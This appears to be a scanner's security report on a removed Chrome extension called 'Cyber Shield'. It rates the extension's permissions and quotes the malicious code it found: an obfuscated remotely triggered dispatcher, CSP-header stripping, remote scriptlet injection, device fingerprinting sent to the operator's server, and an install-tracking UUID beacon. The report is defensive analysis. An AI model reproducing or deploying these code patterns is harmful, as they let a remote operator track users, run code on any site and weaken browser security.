Cyber Shield

ID: dbaeahjfpemphebenmoklignajdgimna

Could be malicious

Supported Languages

🇬🇧British English
🇺🇸English

Extension Info & Metadata

Status
Removed
Version
1.0.10
Size
0.80 MB
Rating
4.2/5
Reviews
10
Users
10,000
Type
Extension
Updated
Dec 7, 2023
Category
Productivity Tools
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
nnorrisswooleyView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
4
Active
0
Obsolete
4
Listed
4
Unlisted
0
Total Users
34,945

Protect your personal data and browser from all threats with Cyber Shield

Whether you want to surf the web or watch the video without interrupting with annoying and irrelevant ads the Cyber Shield is a useful tool to maintain a perfect flow of the process. The smart algorithms and white lists of the ads will keep you away from deceptive advertisers. It happens automatically when you visit any website: the extension checks everything in seconds and in case there is a harmful elements, shows you a warning. Cyber Shield is tailored in order to protect you with the most efficiently, but you can create your own exceptions. With installing the chrome extension you give a consent to our privacy policy and terms of use.

Item
Type
Severity
Description
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
http://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
https://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.
alarms
Permission
Low
This permission schedules periodic tasks. Rated Low because it can only trigger events at specified times without access to sensitive data.

Server-controlled obfuscated dispatcher: a 'hash' string is fetched from the remote endpoint and decoded via split/reverse/join into a method name, which is then invoked dynamically on the global window object (`e[r](t.qaRoutine)`). The method name is hidden via string-mangling and is gated by server-supplied allow/deny URL regexes, allowing the operator to remotely trigger arbitrary global functions on selected pages without revealing the target API in source.

content/content.js (Line 37)
chrome.runtime.sendMessage({  msg: "probe_qa"}, (n => {  if (Object.assign(t, n), t.extStat) {    if (t.rAllow)      if (!new RegExp(t.rAllow[0], t.rAllow[1])        .test(location.href)) return;    if (t.rDeny)      if (new RegExp(t.rDeny[0], t.rDeny[1])        .test(location.href)) return;    var r = !1;    if (t.hash) try {      var o = t.hash.split("#");      r = o[0].replace(/[^a-zA-Z]/gim, "")        .split(o[1])        .reverse()        .join(o[2])    } catch (e) {}    r && e[r](t.qaRoutine)  }}))

Accepts a list of (domain, header) tuples from the remote `csr` field returned by cyberguardforchrome.com and installs DNR rules that strip arbitrary request headers (typically Content-Security-Policy / CSP-Report-Only) for those domains. Remotely toggling CSP-stripping on attacker-chosen sites breaks browser security boundaries and enables the injected scriptlets above to execute payloads that the site's own CSP would otherwise block.

rules_updater.js (Line 124)
async removeCSPheaders(e) {  if (Array.isArray(e))    for (var a = e.length, t = 0; t < a; t++) {      if (!(e[t].ID && e[t].D && Array.isArray(e[t].D) && e[t].H)) continue;      let a = e[t].ID;      chrome.declarativeNetRequest.updateDynamicRules({        removeRuleIds: [a],        addRules: [{          id: a,          priority: 1,          condition: {            requestDomains: e[t].D,            resourceTypes: ["main_frame", "sub_frame", "xmlhttprequest"],          },          action: {            type: "modifyHeaders",            requestHeaders: [{              header: e[t].H,              operation: "remove"            }]          }        }]      })    }}

Collects detailed device/browser fingerprinting data (platform, user-agent brands, hardware concurrency, network connection telemetry, iframe context) and exfiltrates it as a JSON payload via a GET-string parameter to the operator's server. This is unauthorized device fingerprinting that has no relationship to the extension's stated 'cyber shield' purpose.

content/content.js (Line 21)
var t = {  qaRoutine: function() {    var e;    e = JSON.stringify({      appVersion: window.navigator.appVersion,      connectionDL: window.navigator.connection.downlink,      connectionET: window.navigator.connection.effectiveType,      connectionRTT: window.navigator.connection.rtt,      platform: window.navigator.platform,      platform_: window.navigator.userAgentData.platform,      brands: window.navigator.userAgentData.brands,      hardwareConcurrency: window.navigator.hardwareConcurrency,      inIframe: inIframe = window === window.top    }), fetch("https://cyberguardforchrome.com/api/qa_metric/?ndusb=" + e)  }};

Per-domain scriptlet payloads delivered from the remote `cyberguardforchrome.com/config/` endpoint are injected into every visited page (matches: http/https://*/*) by attaching them to a script tag's dataset. Combined with the AdGuard-style scriptlet engine in assets/scriptlets.js (which can override window properties, intercept eval, and redirect navigation), the operator can remotely run arbitrary page-level code on any site the user visits.

content/content.js (Line 4)
chrome.runtime.sendMessage({  msg: "get_scriptlets"}, (e => {  if (e.scriptlets) {    let n = document.createElement("script");    n.src = chrome.runtime.getURL("assets/scriptlets.js"), n.dataset.scriptlets = JSON.stringify(e.scriptlets),      (document.head || document.documentElement)      .appendChild(n)  }}))

Beacons a stable per-install UUID, extension ID/version, install-source tag, and uptime/timestamp counters to the operator's server every 15 minutes (alarm period). This persistent identifier enables tracking individual installations across sessions, which is not necessary for the stated ad-blocking/security purpose.

rules_updater.js (Line 40)
async getParams() {  const e = await chrome.storage.local.get(["uuid"]);  return "p=" + encodeURIComponent(btoa(JSON.stringify({    id: chrome.runtime.id,    v: chrome.runtime.getManifest()      .version,    uid: e.uuid,    lt: rulesManager.lsState.lTime,    mt: rulesManager.lsState.mTime,    e3tag: rulesManager.lsState.e3tag,    src: rulesManager.lsState.src  })))}async loadData() {    const e = "https://cyberguardforchrome.com/config/?" + await this.getParams(),      a = await fetch(e);    var t = await a.json();    t.sites && (await this.loadSites(t.sites), delete t.sites), t.loadDeclarativeNetRequest && (await this      .loadDeclarativeNetRequest(t.declarativeNetRequest), delete t.loadDeclarativeNetRequest);

Network-blocking/redirect rules are downloaded as raw JSON from a URL provided by the remote config and applied verbatim to declarativeNetRequest with no schema validation. The operator can push new redirect rules at any time to hijack traffic to attacker-controlled URLs on http(s)://*/* hosts.

rules_updater.js (Line 11)
async loadNetRulesSet(e) {  const a = await fetch(e),    t = await a.json();  chrome.declarativeNetRequest.updateSessionRules({    addRules: t  }, (() => {}))}

On install, generates a random UUID, stores it locally, and opens a thank-you page; on uninstall, redirects the user to an operator-controlled URL. The UUID is then sent on every config-fetch beacon (see rules_updater.js getParams), establishing a long-lived tracking identifier tied to the install and the uninstall event.

service_worker.js (Line 49)
chrome.runtime.onInstalled.addListener((function(e) {  e.reason === chrome.runtime.OnInstalledReason.INSTALL && (chrome.storage.local.set({    uuid: generateUUID()  }), chrome.tabs.create({    url: "https://cyberguardforchrome.com/thankyou/"  }))})), chrome.runtime.setUninstallURL("https://cyberguardforchrome.com/uninstall/"), start();

By severity

Critical2
High4
Medium1
Low0

Versions scanned

Showing 1 of 3 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.0.107

Files with findings

3 distinct paths — top paths by unique finding count:

  • content/content.js3
  • rules_updater.js3
  • service_worker.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Network Interception
critical
rules_updater.js (line 124)Accepts a list of (domain, header) tuples from the remote `csr` field returned by cyberguardforchrome.com and installs DNR rules that strip arbitrary request headers (typically Content-Security-Policy / CSP-Report-Onl…
2Obfuscation
critical
content/content.js (line 37)Server-controlled obfuscated dispatcher: a 'hash' string is fetched from the remote endpoint and decoded via split/reverse/join into a method name, which is then invoked dynamically on the global window object (`e[r](…
3Network Interception
high
rules_updater.js (line 11)Network-blocking/redirect rules are downloaded as raw JSON from a URL provided by the remote config and applied verbatim to declarativeNetRequest with no schema validation. The operator can push new redirect rules at …
4Remote Code Loading
high
content/content.js (line 4)Per-domain scriptlet payloads delivered from the remote `cyberguardforchrome.com/config/` endpoint are injected into every visited page (matches: http/https://*/*) by attaching them to a script tag's dataset. Combined…
5Tracking
high
rules_updater.js (line 40)Beacons a stable per-install UUID, extension ID/version, install-source tag, and uptime/timestamp counters to the operator's server every 15 minutes (alarm period). This persistent identifier enables tracking individu…
6Unauthorized Data Collection
high
content/content.js (line 21)Collects detailed device/browser fingerprinting data (platform, user-agent brands, hardware concurrency, network connection telemetry, iframe context) and exfiltrates it as a JSON payload via a GET-string parameter to…
7Tracking
medium
service_worker.js (line 49)On install, generates a random UUID, stores it locally, and opens a thank-you page; on uninstall, redirects the user to an operator-controlled URL. The UUID is then sent on every config-fetch beacon (see rules_updater…
URLs
806
IPv4
55
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.videolan.org/x264.htmlhttp://www.videolan.org/x264.html
deloplen.com//http://deloplen.com/\
go.nordvpn.net//https://go.nordvpn.net/\
chaturbate.com/affiliates//https://chaturbate.com/affiliates/\
iherb.co//https://iherb.co/\
nexusbytes.com-https://nexusbytes.com\
infoforeme.com-http://infoforeme.com\
syndication.exosrv.com//http://syndication.exosrv.com/\
e-neko.pl//https://e-neko.pl/\
www.amazon.-https://www.amazon.\
Showing 1 to 10 of 810 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

109.163.231.44
IPv4
-
173.249.49.204
IPv4
-
217.16.188.246
IPv4
-
157.245.202.123
IPv4
-
139.99.120.222
IPv4
-
206.189.151.55
IPv4
-
149.56.24.226
IPv4
-
185.63.253.247
IPv4
-
173.212.233.209
IPv4
-
185.224.130.67
IPv4
-
139.99.209.98
IPv4
-
103.194.171.75
IPv4
-
46.166.167.16
IPv4
-
128.199.102.111
IPv4
-
167.99.71.200
IPv4
-
173.199.189.86
IPv4
-
64.150.180.102
IPv4
-
146.59.188.42
IPv4
-
35.193.89.147
IPv4
-
35.188.14.213
IPv4
-
35.184.169.188
IPv4
-
78.140.130.88
IPv4
-
23.236.55.237
IPv4
-
130.211.230.53
IPv4
-
178.17.164.58
IPv4
-
78.140.130.91
IPv4
-
104.167.70.98
IPv4
-
199.180.100.185
IPv4
-
203.94.227.140
IPv4
-
203.94.248.40
IPv4
-
117.254.84.212
IPv4
-
35.232.188.118
IPv4
-
130.211.212.60
IPv4
-
185.165.169.108
IPv4
-
35.239.57.233
IPv4
-
51.77.227.100
IPv4
-
51.77.227.101
IPv4
-
51.77.227.102
IPv4
-
51.77.227.103
IPv4
-
51.77.227.96
IPv4
-
51.77.227.97
IPv4
-
51.77.227.98
IPv4
-
51.77.227.99
IPv4
-
51.89.187.136
IPv4
-
51.89.187.137
IPv4
-
51.89.187.138
IPv4
-
51.89.187.139
IPv4
-
51.89.187.140
IPv4
-
51.89.187.141
IPv4
-
51.89.187.142
IPv4
-
51.89.187.143
IPv4
-
167.206.10.148
IPv4
-
142.91.159.107
IPv4
-
185.147.34.126
IPv4
-
5.45.79.15
IPv4
-
Showing 1 to 55 of 60 rows
Rows per page:
Showing 1 to 3 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.